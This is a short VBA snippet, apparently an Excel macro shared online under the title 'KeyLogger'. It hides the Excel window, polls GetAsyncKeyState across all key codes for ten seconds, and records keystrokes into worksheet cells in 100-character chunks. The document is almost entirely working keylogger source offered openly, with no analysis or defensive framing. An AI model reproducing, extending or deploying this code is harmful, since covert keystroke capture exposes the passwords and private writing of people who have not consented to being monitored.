carlAlex
8/14/2017 - 8:37 AM

KeyLogger

KeyLogger

Dim i, e As Long
Dim s As String
Dim b As Integer
Dim result As Long

Public Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Long) As Long


Sub lok()

e = 1
b = 0

Application.Visible = False

f = Now() + TimeValue("00:00:10")

Do While Now() < f

    For i = 1 To 255
        result = 0
        result = GetAsyncKeyState(i)
        If result = -32767 Then s = s + Chr$(i)
    Next i
    
    If Len(s) = 100 Then
        Cells(e, 1).Value = s
        e = e + 1
        s = ""
    End If

Loop

Cells(e, 1).Value = s
s = ""

Application.Visible = True

End Sub